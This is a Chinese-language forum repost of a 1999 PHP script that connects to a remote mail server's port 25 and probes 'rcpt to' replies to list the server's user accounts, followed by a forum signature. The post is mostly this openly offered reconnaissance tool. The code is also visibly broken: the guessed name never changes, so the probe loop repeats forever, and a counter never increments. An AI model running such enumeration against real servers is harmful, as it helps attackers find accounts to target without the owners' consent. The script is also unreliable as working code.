通過port:25獲得用戶列表for [PHP] 此為轉貼資料 http://www.jiafangyifang.com/news/newsdata/2001_11_30/4/20011130163135.htm #!/usr/local/bin/php
<?
/*
[PHP] Get Remote User List through sendmail
(C)1999
zer9[ISBASE]
zer9@21cn.com
test on: RH6 with PHP3
*/ $LogFile = "./rcpt.log"; function OpenLogRecord()
{
$fFp = fopen($LogFile,"a");
// are u really want it?
} function Usage()
{
print "Rcpt[PHP] 0.01 by zer9[isbase] mailt0:zer9@21cn.com
";
print "Usage: ".__FILE__." "."[Port] ";
exit();
} function EchoRecv($Sock)
{
$RecvBuf;
$RecvChar;
while(!feof($Sock))
{
return fgets($Sock,1000);
}
/*
while($Count-- != 0)
{
$RecvBuf .= fgetc($Socket);
}
print $RecvBuf."
";
*/
} function Init($Sock)
{
fputs($Sock,"RSET
");
print EchoRecv($Sock);
fputs($Sock,"mail from:zer9@zzz.com
");
print EchoRecv($Sock);
} function FindUser($Sock)
{
$Dict = "a";
while(1) // hahahhaa ~!!#@#@!$##
{
fputs($Sock,"rcpt to:".$Dict ."
");
//fputs($Sock,"rcpt to:"."root
");
//print EchoRecv($Sock);
if(strstr(EchoRecv($Sock),"ok"))
{
print "FindUser: ".$Dict."
";
}
clearstatcache();
//sleep(1);
}
} function EndGuess($Sock)
{
fputs($Sock,"quit
");
} // Main Enter Point
// int main(int argc,char *argv[]) $iPort; switch ($argc)
{
case 2 : $iPort = 25;break;
case 3 : $iPort = $argv[2];break;
default : Usage();
} $Socket = fsockopen($argv[1], $iPort, &$errno, &$errstr);
if(!$Socket)
{
echo "$errstr ($errno)
";
}
print EchoRecv($Socket);
fputs($Socket,"HELP
");
for($i = 1; $i <= 10 ; $i )
{
$RecvBuff = EchoRecv($Socket);
print $RecvBuff;
/*
if(strstr($RecvBuff,"RCPT"))
{?
print "n1ce!find: RCPT
";
break;
}
else
{
print "sorry,no cmd "rcpt",but exit...";
fclose($Socket);
exit();
}
*/
} Init($Socket);
FindUser($Socket);
EndGuess($Socket); fclose($Socket);
// END ?> *********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind to make knowledge together!
希望能大家敞開心胸,將知識寶庫結合一起
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好
Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind